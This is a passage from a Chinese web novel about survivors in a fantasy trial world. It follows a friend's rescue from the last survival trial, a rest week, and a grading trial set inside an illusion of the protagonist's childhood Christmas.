思考完毕后,天仰辞别降赐,去餐厅打包了一份晚餐,便回宿舍了。 明天的生存考验结束以后,很快就是分级考验了。 分级考验之后决定的是他们在幸存者中的排名和优势。 他必须尽量拿到靠前的名额,才能保证他和沈郢活下去。 不知为何他心理隐隐感到不安,感觉未来会发生什么变故。 —— 最后一场生存考验开启。 徐裕紧张的站在队伍中央,他们专业已经没剩下多少人了,他们班也只剩下二十来个人。 能坚持到最后一场生存考验的到来,他们每个人的心里承受能力都很脆弱,受不了的已经离开了世界,还抱有一丝丝希望或者不敢死的人,都站在了生存考验的入口。 徐裕紧张兮兮地看着入口处的监管者,脑海里不断浮现着那两个幸存者所说的逃生路线,生怕自己忘记了哪个。 余光不禁往旁边一瞄,看见旁边空荡荡的操场上站着几个人。昨天见到的两个幸存者就在那里,那个看着比较高冷的冲他点了点头。 天仰站在不远处的操场上,跟队伍里的几个人一起等待着这场考验的开始。 队伍里是他们精挑细选出来的,愿意为了臻耀放弃生命冲进去救他的人。 虽然人不多,但个个都是真心。 他们已经准备好,万一最后开启出口的时候发生了什么变故,就全部人冲进去,制造一些混乱,借机把人带出来。 这也是林知秋想的法子之一。 天仰本来对这个方法还有点担心,怕还没进去就被监管者和监察生给抓起来了。但看到入口处的两个监管者时,顿时安心了。 入口处站着001和002。 周围只有渺渺无几的监察生,对这最后一场生存考验根本不上心,有些监察生甚至偷偷聊起天来,注意力根本不在这上面。 那就没问题了。 天仰这般想着。 沈郢一脸困意的靠在天仰身上,哈欠连连,听说昨晚林知秋又去找他了,好像又改进了几个备选方案。 两个人昨天晚上都没睡好觉。 —— 降赐掐着时间,到点把所有人放了进去,便将薄膜锁了起来。 002也是一脸睡眠不足的模样,一看就是昨天晚上游戏玩多了:“好累啊——” 降赐:“……” “对了,到时候的分级考试是我们排名前十的监管者参与噢,你到时候可别忘了来。”002突然想起上面的人交代的事情,便把随身携带的小本本掏出来,生怕遗漏了什么:“考试严禁攻击幸存者,我们可能是在里面当NPC好像,然后排名靠前的人可以优先选角色。考试之后好像会分部下,排名前五监管者带后五监管者,都只对前十的。” “到时候再说。”降赐对这种事情完全没兴趣。 “行行行,反正到时候你的部下又是归我管,不然到时候又没人找得到你,唉——这造的什么孽……”002一脸嫌弃道。 不远处的天仰看着降赐的脸色,还挺好奇他们在讲什么的。 但身上还趴着一只沈郢,注意力又不能完全放在他们的身上,不然她还真想过去听听。 “徐裕进去了。”沈郢全程眼尖地盯着那个男生,及时报告道。 天仰的目光才慢慢转开,转移到了生存考验的场地上。 徐裕这个时候已经进入到他们说的洞穴里了。 掐着时间应该已经见到臻耀了。 林知秋惴惴不安地盯着那个洞,等待着监管者倒计时,开启出口。 眼下,等臻耀自己出来就行了。 “知秋……”许久不见的桦烙表情恍惚地拽着林知秋的胳膊,看上去十分不安:“臻耀真的在里面吗……” 这么多天以来他过的浑浑噩噩。 在那次生存考验前,桦烙以为他们整个宿舍都能平平安安地通过这场考验走到一起,谁能想到进去之后他因为中了毒,而先一步晕倒。 被臻耀背着坚持完了整场考验,谁能想到在最后关头还是臻耀推了他一把,把唯一生的希望让给他,才让他逃生成功的…… 桦烙知道真相之后相当崩溃,他不知道这几天自己是怎么熬过来的,他也不知道他这几天干了什么。 才知道自己活着通过考验时他无比庆幸,但得知臻耀把唯一生的希望让给他之后,他彻底崩溃了。 更别提后来在林知秋的劝导下测试了自己的天赋,简直是一派糊涂…… “……”桦烙如今的心情十分难以言喻,听到林知秋说臻耀还活着的时候,他简直不敢相信…… 直到现在也是。 他甚至怀疑这番大动干戈只是为了安慰他而已…… 而林知秋得知他心里的这种想法时:“你特么在乱想什么?!谁会为了安慰你召集这么多人在这站着哄你,有这时间还不如去训练,脑子里别老瞎想!” 林知秋狠狠地敲了敲桦烙的脑子,这番言论出来,也让自己冷静了些。 臻耀还活着这件事,也他了不少希望。 虽然一开始他也不太相信,但现在…… 他已经不得不去相信了。 “生存考验结束,即将开启出口,请幸存者在五分钟之内到达出口。” 时间到了! 操场上的小队里每个人都振奋起来,紧紧地盯着出口的位置。 洞穴里。 臻耀缓缓睁开眼睛,看着紧紧守在他旁边的徐裕。 他当然看到了天仰他们留给他的信息。 但是,为了活下去让别人牺牲这件事,他做不到…… 哪怕这个人是将死之人…… 他也下不去手啊…… 更何况自己早已没了力气。 徐裕听到广播的声音顿时振奋起来,心里想着那两个幸存者果然没有骗他。兴高采烈地拖起臻耀,想把他也一起带出去。 臻耀看着他:“……” “太好了大哥,时间到了,我们赶紧出去吧!”徐裕兴奋之余完全没有想过,为什么会在这个逃生洞口遇到别的人。 徐裕这般说完,臻耀心里更加愧疚,虽然自己也不想干什么。 “对了……”臻耀虚弱的说道:“你们专业一起进来的还有谁……” 徐裕想了想,便说出了几个名字。 臻耀一一记好,万一自己真的到了出口,查身份的时候也好应付过去。 薄膜外,天仰终于看到臻耀出来了,奇怪的是徐裕也还在。 “这是怎么回事?”天仰皱了皱眉。 林知秋整颗心都提了起来。 沈郢不紧不慢道:“别担心,他已经是个将死之人了,在哪死都是一样的。” “……希望是这样。”林知秋还是十分担心,毕竟臻耀的性子他们是知道的。 愿意为了他人舍弃自己的性命。 不到最后关头,他们也不知道会发生什么…… 桦烙目光死死的盯在臻耀的身上,像是有好几百万年没有见到臻耀一样了。 薄膜里,臻耀被徐裕扶着走。 他已经没有多少力气了,更别说直接从这里跑到出口…… 臻耀叹了叹气,就算室友找到了生的机会让他出去,此时此刻他也十分无力。 旁边的徐裕还在絮絮叨叨,格外兴奋自己居然能够活下来,虽然说离出口还有几百米,但离生还是不远了。 这个距离…… 臻耀轻轻地呼了一口气。 他曾经和室友跑过。 只可惜的最后一刻,他没能活下来…… 不过好在他多救了一个人。 他的室友已经全部逃生成功了…… “大哥大哥……”徐裕激动得都快哭出来了,明明几天前他根本不可能活下去,直到昨天,那两个好人把希望带给了他。 他珍惜这来之不易的机会。 他想活下去…… 可。 离出口只剩下最后五十米时。 臻耀吃惊地看着徐裕倒了下去,泪水在眼眶中打转。 “别管我了大哥……你快走吧。” 徐裕的身上不知何时多了好几道红点,正在不断扩散。 臻耀张了张嘴完全说不出话来。 薄膜外。 沈郢:“看吧,我就说他会死。” 最后一场生存考验结束 天仰没有说话,静静地看着这一幕。 站在天仰旁边的林知秋想要冲上去,极力克制住自己,生怕引起监管者的注意。 桦烙低着头,不敢抬头看。 天仰看着臻耀顿在原地,而时间一点一滴的流逝,心中浮现起一个猜想。便抓着沈郢到了出口处:“你喊让他快点出来。” 沈郢不知道他这是什么意思,但还是顺从他的意思,冲着里面喊道:“别愣神了快点出来!你难道想让所有人的心血白白付出吗!!” 臻耀听到这个熟悉的声音,身体不由得动了动,朝着出口的方向看了过去,没有看到任何人,但脑子里还是浮现起他救的那个人的身影。 当时在山洞里救他的那个人…… 他抿了抿嘴,用尽全身的力气站了起来,身体不由得颠了一下,缓慢地朝着出口移动。 徐裕看着臻耀缓缓离开的背影,眼泪不住地往下落。 此时,队伍里的所有人已经围在了出口处等待。 桦烙十分紧张地盯着里面,就在臻耀刚刚触碰到出口处的时候,桦烙迅速伸手把人拉了出来。 “啊……”臻耀脑子还没反应过来,就被一群人团团围住。 “出来了出来了……出来了……”林知秋不断地重复这句话,泪水已经先一步掉下来了。 桦烙死死地抱着臻耀,生怕这一切是假象。 天仰轻轻拍了拍臻耀的背,语气也有些动容:“出来了就好……” 队伍里所有人都围着他们,寸步不离。 救护队的人早已等在旁边,林知秋先一步反应过来,指挥大家把臻耀送上救护车。 天仰看了看出口处的人,渺渺无几,出来的除了臻耀以外,还有一个人。 降赐似乎察觉到他的目光,转过来看了他一眼,开启了广播:“本次生存考验结束。这也是最后一场生存考验,接下来幸存者休息一周的时间,剩余的时间另作安排,幸存者可以在宿舍等待信息。” 历时多天以来的生存考验,幸存者只有十八个人。 —— 幸存者日常生活中心。 天仰抱着小家伙瘫在沙发上,旁边也摊着一个沈郢怀里抱着一大包零食,两个人有一搭没一搭的聊着。 “叫奶糖吧。” “奶糖?” “对啊,你原来不是特别喜欢吃奶糖吗?”沈郢往嘴里扔了一大块薯片:“不过说起来,我怎么感觉自从那个时候……你好像就变了个样?” “什么?我哪里变了?”天仰自我感觉了一下。 “就是……性格吧,还有一些习惯变了。”沈郢嚼着薯片,猜到:“你是不是忘记了什么?” “忘记?”天仰再次感觉了一下,好像也没有。 “你之前很爱吃奶糖的,你忘了吗?” “可能吧,现在……我也吃奶糖。” “你之前还没这么爱管闲事的。” “我现在也没有啊。” “就是除了我们两个,其他人,你的室友什么的。你之前都不会管的。” “啊……” “你别给我扯什么人总是要长大的,你以前可不会说这种话……” 沈郢一脸狐疑地看着天仰。 天仰装作一脸若无其事的样子抚摸着怀里的奶糖:“我也不知道……我怎么了。” 沈郢:“……”默默嚼薯片。 直到沈郢把一大袋薯片都吃完了,拍了拍身上的残渣:“我先走了,我去餐厅吃个夜宵。” 天仰看着满地板的薯片袋子:“……去吧。” “我走了哦,奶糖。”沈郢轻轻摸了一下奶糖的脑袋:“下次来给你带好吃的。” “喵~” 沈郢走后,天仰一个人又陷入无聊之中。 要放假一个星期呢…… 虽然说这个一星期很关键,可是他的天赋已经到了90%了,到了瓶颈期,再怎么努力也不好升上去。 按照沈郢的说法,他现在应该该吃吃该睡睡,什么都不用操心,尽情去玩就行了。 说起来沈郢的天赋也到了90%了,瓶颈期看起来就跟他不太一样。 沈郢完完全全就是敞开了心玩了起来。 罢了,反正天赋都这么高了,分级考验应该不会出什么事吧…… 天仰伸了伸懒腰,打算学习沈郢的方法。先去外面采购了一番,买了一大堆零食,随便扔在沙发上,泡了个澡出来之后,整个人便窝在了沙发上,开始吃零食看电影打游戏。 日子过得十分惬意,一晃就是三天过去了。 当沈郢再次见到天仰时,差点惊掉下巴。 “卧槽卧槽卧槽……”沈郢简直不敢相信这是天仰能做出来的事。 满沙发满地板满客厅的零食袋子,数不清的饮料罐子随意的扔在角落里。房间外面到处是猫砂和猫饲料,各种乱七八糟的东西扔在地上。 而这间宿舍的主人此时正瘫在沙发上,身上盖着一本书,听到动静半睁开眼睛。 “卧槽,你怎么整出了一副失恋的模样?”沈郢从满脑子的卧槽中反应过来:“我是让你好好休息好好玩,不是让你颓废啊!!” “是吗……”三天没有说话,乱吃东西,熬夜玩耍,天仰的嗓音变得格外沙哑。 沈郢一副操碎了心的样子,絮絮叨叨,找到打扫工具就开始整理满地板的垃圾。 奶糖也是一副懒懒散散的模样,安静的趴在地上,把各种玩具玩的乱七八糟。 沈郢感觉格外的头痛,便把奶糖先关在卧室里,又把天仰赶出去。 “你出去上哪儿凉快去,等我整理完了你再回来,这一天天的日子还能不能过了……” 一脸懒散,衣服凌乱,手里还拿着半瓶没有喝完的饮料的天仰:“……” 这时门又开了,沈郢一把抢过他手里的饮料罐子,恶狠狠地关上门:“快点去哪里走走!” 天仰:“……” 行吧,反正好几天也没有出过门了。 天仰懒懒散散地把第三层逛了一遍,发现大部分幸存者都在训练室里没有出来,第三层显得格外的冷清。 他便上了第一层,正想随便拦个监察生,便有人跟他打招呼。 “这不是天仰帅哥吗?”许久不见的川珩猛然出现。 天仰一副丧失说话模样的木讷点点头。 “你也是要出去?”川珩主动问道。 天仰点头。 “那我们一起吧。”川珩主动帮天仰刷了脸。 寝室楼下。 川珩和天仰并肩走着。 “你们下一场就是分级考验了吧?” “对。” “可惜我不是监管者,不然还能给你放点水。” “……不用。” 天仰的嗓子哑的一批,但还是努力按自己正常的声音说话。 “不过你这是要去哪儿?”川珩指了指操场:“生存考验已经结束,中间的场地已经清空了,这个时候你们不应该忙着训练,你怎么还会出现在这里?” “随便走走,放松。”天仰随口答了一个。 “原来是这样。”川珩对此也不在意:“那我得先走了,我是出来忙公务的。” 天仰点点头,也没太在意他的去向。 直到看到川珩从学校大门走了,脚步不由得顿了一下。 他是出去忙公务的? “……”天仰看着熟悉的学校大门。 不知道外面怎么样了,等分级考验结束之后,他们安排到了工作,是不是也能够出去了…… “啊哟好巧哦。”002也莫名其妙地出现在大门口,碰巧和天仰打了个招呼。 天仰:“??” “你怎么在这?”天仰发出了疑惑。 002:“当然是出来忙公务的,说起来这几天外面不太太平,你可别经常出来,虽然说你们学校的生存考验结束了,但外面的还没完呢。” 天仰听他这么说有些忧心忡忡:“你们是所有监管者都出去吗?” “那倒没有。”002也不方便透露太多:“上面只选了有能力的人去。” “噢……” 辞别002后,天仰毫无目的地在校园里乱逛起来。 说起来也很久没有看到降赐了,他是001应该忙的公务更多了吧? 天仰看着废弃的小超市,默默往回走。 这样悠闲地逛了一圈,天仰突然想起自己的天赋还卡在瓶颈期,毫无办法。 思来想去,他回到了原本的寝室。 坐在了原本的床上。 冥想。 这是沈郢教他的方法,瓶颈期这种事不要心急,要放松放松再放松,所以他才颓废了三天。 现在来让他回到自己的本心。 为什么自从那件事情之后,自己好像哪里变得不太一样了…… 天仰闭上眼。 再次醒来的时候,发现自己睡着了,而此时外面已经天黑了。 好困…… 天仰缓了缓心绪。 这时系统提示,有数不清的消息。 天仰首先查看了一下自己的天赋,发现数值还是跟原来一样没有变化,长叹了一口气。 查看信息,发现绝大部分都是沈郢发过来的。 其中还有一条是002的开会通知。 还好是明天的。 天仰伸了伸懒腰,想了想睡前自己是在干什么,终于回过神来。 他现在一个人在黑暗的寝室里。 “……”天仰无声地捂住了脸。 心里召唤系统,给沈郢发过去一条消息,让他过来接他。 虽然实在不想承认这个事实,但是在那件事情之前,他确实…… 分级考验 长夜漫漫。 天仰独自一人窝在空荡荡的寝室内,抱着膝盖,望着窗外那轮红月,心里多了几分愁苦和懊恼。 要不是自己没事跑来这里冥想,就不会睡着,更不会睡到天黑。 唉!真是...... 太倒霉了。 天仰安静地窝在床上,动都不敢动一下,麻木地看着月亮和毫无反应的手机。 虽然说进入了幸存者日常生活中心,也拥有了系统,但他和沈郢有急事找不到对方还是会使用手机,比如说现在,他非常急切地想要见到沈郢。 可惜对方不知为何很罕见的没有秒回他消息。 天仰看着进来时忘了关的门,此时正随着风吹发出嘎吱嘎吱的声音,令人毛骨悚然,他不由得往后缩了缩。 他耳尖地听到走廊上莫名有奇怪的脚步声。 “......” 艹...... 天仰强装淡定地卡在原地。 实际上他的内心已经快要炸开了。 —— 幸存者日常生活中心。 沈郢一脸懵逼地坐在会议室里头,身上还围着个围裙,手上拿着个鸡毛掸子,看着眼前的监管者002。 “啊呀,可算把你找来了。”002热络地拍了拍沈郢的肩膀,看得出他对他很感兴趣:“找你来是有些事情想和你确认。” 沈郢一脸懵逼:“你就是001的老相好吧,有什么私下发消息联系就好了,这样找我来很容易被人误会。” 002十分淡定:“哎呀不会啦,001不会误会我的,再说了,他的老相好可不是我,是川珩那家伙,不过你也不认识好像......” “你误会了,我是怕天仰误会了我。” 谁管你啊...... 沈郢的语气里透露着淡淡嫌弃,手里转着鸡毛掸子:“有什么事快说,我还要回去打扫卫生呢。” “哎呀不要着急嘛,今天的谈话很重要的,要是一个不好你身上的那点小秘密可是要害你的朋友一起被抓起来的......”002笑着笑着,表情慢慢变得严肃下来。 “你什么意思。”沈郢看这人的眼神一下子变了,但也琢磨不透这人的意思。 “你身上可藏着好大一个秘密哦。” —— 寝室。 天仰一脸愁苦地盯着毫无反应的手机,内心十分悲惨,听着外面的脚步声越来越近,心也渐渐提起。 手摁在了腰上的无限形态盒上,随时准备亮出武器招呼上去。 脚步声越来越近,准确无误地停在了门口。 “嗯?门怎么开着。” 天仰来不及多想,手上闪过一道白光,一柄长剑横穿在门上。 “哦?”门外那人漫不经心地拦下天仰的剑,手腕一转,剑头被偏开,顺手封住天仰的穴道。 “是你?!!”天仰看清来人之后顿时尴尬得一发不可收拾。 降赐抬眉看了天仰一眼,伸手解开对方的穴道,微不可查地皱了一下眉:“这么晚了你怎么在这里。” 天仰揉了揉被降赐封得发麻的穴道,刻意地扭过头:“来溜溜,不小心待晚了。” 这个只有他和沈郢知道的秘密他怎么可能没事往外说...... 降赐显然不相信,但也没有拆穿他:“太晚了,先回去吧,这么晚了在外面不安全。” 天仰:“噢......” 降赐等了很久,见天仰也没有要动的意思,对方眼神躲闪,他也不能说什么,只能先一步往外走。 天仰见降赐终于动了,才默默跟上,一言不发地跟在后面。 两个人磨磨唧唧地走到了楼下,天仰不想泄露这个秘密,降赐也只字未提,直到到了光照亮了些的地方,降赐才给天仰刷了个脸。 两人才就此分离。 幸存者日常生活中心。 天仰刚被传送回了第三层,就听到沈郢骂骂咧咧地从一间会议室走出来,后面跟着笑眯眯的002。 002:“合作愉快哦~” 沈郢看都不看002一眼,扭头就走了,呯地一声关上了301的大门。 留下002和天仰面面相视。 002:“啊呀,你回来了呀~” 天仰:“......” —— 经过了这一段小插曲后,天仰回到自己的宿舍,发现沈郢格外的暴躁,拖地的声音格外的大声。 连奶糖都躲进卧室里不敢出来玩。 天仰走到沙发旁,随手拿起一袋摆放好的零食袋子,沈郢顿时带着杀意看了过来。 “......”天仰默默放回原位:“你怎么了。” 沈郢狠狠地拖完了地板,才道:“没事啊,被一个贱人欺骗了感情。” 天仰一脸大写的震惊:“???” 我不就出去这一下就发生了什么??? 沈郢显然没有解释的欲望,把宿舍打扫干净后便离开了。 天仰坐在沙发上凌乱。 今天到底是怎么了...... —— “通知,一小时之后进行分级考验,请所有幸存者和参与考验的监管者进入候场区等待。” 转眼间,一个星期已经过去了。 天仰的天赋迟迟没有动静,而沈郢因为莫名其妙的原因,感悟上升,天赋数值上升一点,达到了91%。 林知秋通过不断努力,天赋数值终于达到了79%。 而桦烙,在进入候场区时天仰才知道了他的天赋。 灵敏度,66%。 这个数值虽说不是很好,但也只够幸运。 可桦烙还是一副垂头丧气的样子。 臻耀笑哈哈地拍了拍这个兄弟的肩膀安慰道:“很不错了,你看看我,进来得那么晚,才60%呢。” 桦烙还是提不起精神,喃喃道:“可我的天赋很鸡肋啊,你好歹是战斗型的决斗术.......” “别总是这个想法嘛。”臻耀大难不死,现在对很多事情已经看开了,反正活下来就好了,其他事并没有那么在意。 Tian这个队伍的平均天赋水平都达到了60%。 短短一个星期,在林知秋的带领和严格的计划下,每个人都训练得十分认真,甚至还在武器房运用自己的天赋人手打造了武器。 不过质量好不好,就是看个人手气了,毕竟没有人的天赋是打造武器。 幸存下来的幸存者只有十八个,都加入了天仰创建的小队中,毕竟谁也不想错过什么情报。 分级考验即将开始。 天仰百无聊赖地站在原地等候,身为幸存者001,他权限最高,已经得知了这一场考验的规则,早已和沈郢几个人通过气。 消息不能私底下乱传,得知情报的林知秋便对队伍里的人加大训练。 这场分级考验不能组队进行,每个人进入场地后会被随机分到各个区域,完成各自的任务即可离开。但每个人的任务不一样,可能还出现冲突。考验中还有各种奇怪的生物进行干扰,以及突然出现的监管者也有任务,会妨碍幸存者的任务。 这就是难点。 天仰也不担心,在得知考验中生物的程度和监察生预备役的难度相同时,他带着沈郢连刷了好几次监察生预备役的副本,借此机会熟悉。 沈郢知道不能组队时,对这个考验的兴趣便不是很大,只想着排名跟天仰靠近点就好了。 “分级考验即将开始,请幸存者和监管者依次进入考验场地,提前熟知考验规则。另外,若无法在考验中坚持下去的幸存者考验跟系统交互,传送回出口,结束考验。幸存者注意,你们的一举一动将影响你们的等级排名。” 广播结束。 分级考验的场地是在幸存者日常生活中心的一个新建时空中。 穿过迷雾便可到达场地。 幸存者和监管者是分开进入的。 天仰看向对面和自己正对的第一位降赐,脚先一步踏入了迷雾中。 迷雾中一片虚无,灰茫茫的雾气迷乱视野,天仰也不知道往哪里走,系统也没有传来提示,便不断往前走。 越往前,雾气越重。 到了后来。 天仰实在走不下去了,停在了原地。 而广播终于响起:“所有幸存者已进入考验场地,现在分发任务,任务随机打乱。” 【编号001幸存者天仰的任务为】 【拿到你看到的第一个人的东西】 天仰:??? 就这么简单??! 天仰面无表情地在迷雾中又穿梭了一会儿。 迷雾终于渐渐散去。 这是一个华丽的都市,风很大,下着飘零的雪,烟火缭绕,灯光四起,家家户户点着灯,凑近了听屋子里还传来了欢声笑语,可街上却不见一人。 这是一个冬季的夜晚。 天仰一个人站在空荡荡的马路上,有一种说不出的感觉。 眼前的这副景象是他原本居住的地方。 “啊......”太久没有见到,天仰有些愣神。 他没有感觉到冷,因为这只是幻象。 这跟他刷的监察生预备役的副本不太一样,虽然说都是多变型副本,可没有一个幻化成了他过去生活的地方。 对了任务...... 天仰的很快反应过来,不能沉沦在这个幻境里,目光在空荡荡的大街上搜寻起来。 可,空无一人。 难道要他随便进一间屋子跟人拿东西? 天仰陷入了沉默。 “嗯?这个地方好像有点眼熟。” 这时后面突然传来了一个声音。 不用经过思考,天仰就能判断出来这个人是降赐。 他面无表情地转过去。 看到降赐有些疑惑地站在十字路口,而他的身旁站着一个头戴深蓝毛织帽,身披棉袄的黑发小少年。 长相和他一模一样,却有些许稚嫩,天仰认出来这是14岁的他。 了解这个人的过去 降赐先反应过来,不动声色地朝天仰点点头。他旁边的少年似乎对突然出现的陌生人抱有很强烈的警惕性,默默往降赐身后缩了缩,怯生生地叫了声:“小叔,我们还要去哪儿?” 天仰有些疑惑地看着他们,此时收到了来自系统的提示音。 【幸存者请注意,您现在扮演的角色是小镇外来的异乡人】 【请在不使NPC察觉到异常的情况下完成任务,否则任务即为失败】 天仰顿时了然了这个设定,看来他和降赐的任务对象是相撞了。不过他也还不清楚他的任务对象是他还是以前的自己。 不过现在还不是考虑这个的时候,不能让NPC察觉到异常。 很显然,NPC刚才看到自己明显瑟缩了一下。 可能是因为这张脸吧。 天仰见降赐没有任何阻碍他的行为,便一副友善的面孔对着那个孩子说道:“你好,我是小镇外来的异乡人,路途奔波,财务遗失在路上了。请问,能不能给我一枚硬币?” 孩子显然能够接受这个说法,但碍于天仰是陌生人,他还是犹豫了一下。 这时,降赐突然开口了:“他还是个孩子,跟陌生人接触不太好,请见谅。” 对天仰说完这些话,降赐对着孩子道:“小隐,我们还差一只烤鸡要买,你忘了吗,阿姨临走前交代的。” “哦哦。”那名叫小隐的孩子看起来雀跃了一瞬,又马上恢复无精打采的表情点点头,跟着降赐离开了。 而天仰在听到这个名字的时候,微微一愣神,在原地呆滞了许久。等回过神来,目光追随着他们而去,在空荡荡的街道上,还能隐约听见降赐和小隐对话的声音。 “以后不要随随便便理陌生人。” “我知道了小叔......” ... 天仰听着这熟悉的对话,终于想起,在记忆深处,曾经的过去里也有和这一幕重合的景象。 那天是圣诞节。 他家里没有人,所以亲戚家的小叔来接他去他们家过圣诞,还特地带他去逛街散散心。因为圣诞节突然多了一个他,还带他去买点过节的东西。 他当时还不经常叫这个名字...... “啊......” 已经过去那么久了吗。 天仰静默在原地,陷入无尽的回忆中。 等到降赐带着小隐买完东西回到原先的街道时,他远远就看到天仰一个人站在街角,表情十分落寂。 经过了那么多场考验,降赐应对这种副本简直得心应手。在他来到这个世界,拿到任务卡,得知身份,毫无感情按照剧本念完台词后,他简直无聊得想要直接脱离副本。 但在看到这个家庭的人让他去接的孩子时,他突然沉浸到这个副本里。 他想,了解这个人的过去。 哪怕只有一点点。 直到看到真实的那个人时,他才从那个角色中脱离出来,那人的表情是多么的哀伤,就好像这一切是真实的一样。 他的任务是保护这个孩子,不能让其受到一点伤害,直至这个副本的主线故事结束。 所以他才会在第一时间拒绝天仰。 天仰在看到降赐和小隐再一次出现在视野里时,意识到他们的任务可能有冲突。 唉。 但他还是不得不上去搭话,毕竟以他的实力他不觉得能抢得过一个排行第一的监管者。 “你们好。”天仰热络地上前打了个招呼。 小隐在第二次看到这个奇怪的陌生人时警惕性再度提起。 天仰也深知自己的以前的性子,打完招呼便退到一边,保持距离,从口袋里随便掏出自己这个角色身上的东西:“这是我刚才捡到的,应该是你们遗失的。” 就算降赐不配合,尴尬就尴尬了......总不可能这任务一点动静也没有啊! 天仰保持着一个尴尬又不失礼貌的微笑。 降赐轻轻勾了勾唇,从天仰手上接过去那样东西,故作惊讶道:“这不是我的钥匙扣吗,要是丢了我今晚可就难以入眠了。” 小隐虽然感觉有哪里奇怪,但也不愿意开口说话。 天仰继续保持着微笑。 要的就是这个效果。 降赐扫了一眼天仰有些兴奋的眸子,道:“真是感谢您了,为表谢意,您愿意跟我们吃一顿圣诞节晚餐吗?” 天仰立即演道:“当然了,那就劳烦您了。” 回到许久未见的小屋。 天仰和小隐面对面地坐着,相对无话。 降赐在厨房里假装处理晚餐,实际上系统已经代劳了,他只负责等待。 小屋里只有他们三个人,和记忆中的一样,亲戚家有事不能及时赶回来。家里只有他和叔叔,现在多了他这个异乡人。 天仰也没有和小隐交谈的意思,知道自己不擅长和陌生人说话,便一直打量着屋子里,那些熟悉的摆设。 十多年前他可是经常来这个屋子的。 直到这家人出事...... 天仰难过地笑笑。 对面的小隐心里一直提防着这个陌生人,虽然很奇怪为什么小叔说着不让他理陌生人,自己还让陌生人进了家门。但这毕竟不是他家,他也只是来借住的,他也不会理这些事。 天仰一直对着这个屋子发呆,直到降赐把烤鸡端了上来才回过神来。 在厨房里忙前忙后的这个人已经不是他的小叔了。 小隐看到好吃的格外兴奋,等着降赐用刀具分割。 天仰漫不经心地倒着饮料,注意力完全没在这上面,直到降赐把剥好的鸡腿放到了他的碗里。 天仰:“?” “你是客人,你先吃。”降赐一边剥着烤鸡,一边打开了极具年代感的留声机。 小隐趴在桌上,不知为什么他感觉小叔对这个陌生人很好。难不成那个钥匙扣真的是他什么重要的东西? 小隐充满疑惑地看向降赐。 当然得不到什么答案。 降赐只是觉得,面前的小隐虽然是天仰的过去,但也只是个虚影,正主现在就坐在自己面前,当然是选择对一个活人好才重要。 天仰当然没有想那么多,默不作声地吃着烤鸡腿,听着音乐缓缓地放着。 小隐低头吃着烤鸡肉,吃了一会儿,觉得有点被辣到,便去厨房里倒了一杯水。 在抬头的时候,看到窗外飘过去一道虚影。 他疑惑地揉了揉眼睛,再次睁眼的时候发现什么都没有。 与此同时,拥有惊人战斗力的降赐发现了异常,感觉到哪里有些不对劲,撂下手里正在做的事,匆匆对天仰说一句便出去了:“看着他。” 天仰当然知道这句话是对他说的,停下正在吃的东西,把目光转向窗外。 “小叔……” 小隐看起来有些许紧张,和陌生人同处一室,周边还没有亲人,他反射性地也想要跟出去。 天仰一手便拦下他:“乖,别出去,外面很危险。” 小隐显然不相信他的话,但也不敢轻举妄动。 两人保持着诡异的沉静,过了十几分钟。 窗外传来异响。 天仰淡淡一瞥,一个转身抱着小隐往旁边撤去。 及时逃离危险。 窗口站着几只奇怪形态的生物,目光十分明确地落在小隐的身上,一看就是要来抓他的。 小隐已经被那些奇怪形态的生物吓得动不了身,僵在了原地。 天仰怎么说也训练了多少天,动作灵敏地抱起小隐直接从另外一个窗户跑掉。 就在刚刚一瞬间,天仰的脑子闪过了很多想法,马上确定了最合适的一个。 这个孩子应该也是降赐的任务,只要她把这个孩子救下来,怎么说降赐多多少少也会帮助他完成任务。 这难道不是一举两得吗? 一想到这个,天仰加快步伐,寻找更加安全的地方。 小隐紧紧的抱着天仰的脖子,知道这个人是在救他,也就没有反驳。 天仰四处搜寻安全的地方,可是这大冬天的,街上没有一家店是开着的,更何况是想让他们进到别人家里去。 简直天方夜谭。 索性,天仰直接亮出自己的武器,往那几只怪物身上招呼过去,艰难地开出了一条路。 小隐缩在他的怀里,不敢动弹。 过了很久很久,天仰还在逃避这些怪物的追杀时,小隐突然冒出来一句:“哥哥,有重要的东西还在房间里……” 嗯?这种时候是什么东西? 天仰手忙脚乱的抱着小隐躲避追击,哪里有空去想这个孩子说的话。 小隐经过了这么久的怪物追杀,胆子也大了些,虽然抱着自己的这个是个陌生人,看起来也是个好人。 不过他现在只想回去找小叔,说不定小叔现在已经回来了,到处找他们呢。 这般想着,小隐趁天仰全心全意应对怪物的时候,从他的身上跳了下去,朝着一个无人经过的小巷跑了进去。 “你!” 天仰来不及多想,也完全没有办法去追,只能先把想要追上去的怪物拦截下来。 小隐一路跑的十分急切,怎么说这条巷子也是他从小生活到大,基本的路线他都认得。 他气喘吁吁的跑回屋子,小叔还是没有回来。 他急切地捡起小叔又落在地上的钥匙扣,死死护在怀中。 怎么说他总是过着寄人篱下的生活,如果连别人最重要的东西也保护不好,那他还有什么资格住在别人家呢? 这时,黑暗中有一双眼睛已经无声地盯上了他。 恭喜幸存者通过扮演型考验 小隐警惕地观察着四周,虽然他看不见什么,但是他还是放不下警惕。 “晚上好小宝贝,不要紧张哟~”这时角落里缓缓踏出一个人影。 小隐的瞳孔不住紧缩。 另一边,天仰麻溜地解决了围着他的怪物,没有了碍事的人,他熟练地用着手中的双刃剑,横扫全场。 没有怪物再围上来,天仰马上转身跟进小隐刚刚跑进去的小巷里。 虽然很久没有回来,但他的记忆并不受时间流逝。 天仰匆匆穿过小巷,在一条条熟悉的巷子里穿梭,终于停在了刚刚出来的房子前。 现在门已经关上了。 天仰肯定小隐已经回来了。 他摸着窗户边寻路,灵敏地翻窗落地,正好对上屋子多出的那个人的眼睛,不禁诧异道:“002?” 002显然也是没料到天仰也在这个副本,惊讶了一下,便很快进入状态,带着病态的口吻哈哈大笑道:“吾乃冥界割魂者,今日便是来取无家可归之人的命。” “??” 天仰被这中二的话雷得尴尬得不是一点点,顿在原地了一会儿,感觉对着002这张脸他突然出戏了。 002显然没想到会遇到熟人,说完这么中二的话内心已经在不断咬手帕痛哭流泪,等回去以后他一定要跟人好好解释一下,不能让他的形象就此败坏。 然而,小隐可没有他们那么多心理变化,他表情十分冷漠,对着割魂者就是一句:“不行!” 002可不知道这个小孩到底发生过什么,他只是系统给的台词念而已,该符合这个角色的事情做了就是了,其他的他都不会管。 小隐看起来十分倔强:“我哪里无家可归了,我有小叔......” 天仰对这个印象中的圣诞节还是有点印象的,比如现在这些就不是原来出现的,小叔也不是在这个圣诞节夜出事的。 更别提上面割魂者这种胡扯出来的东西,看来是这个副本修改了一些。 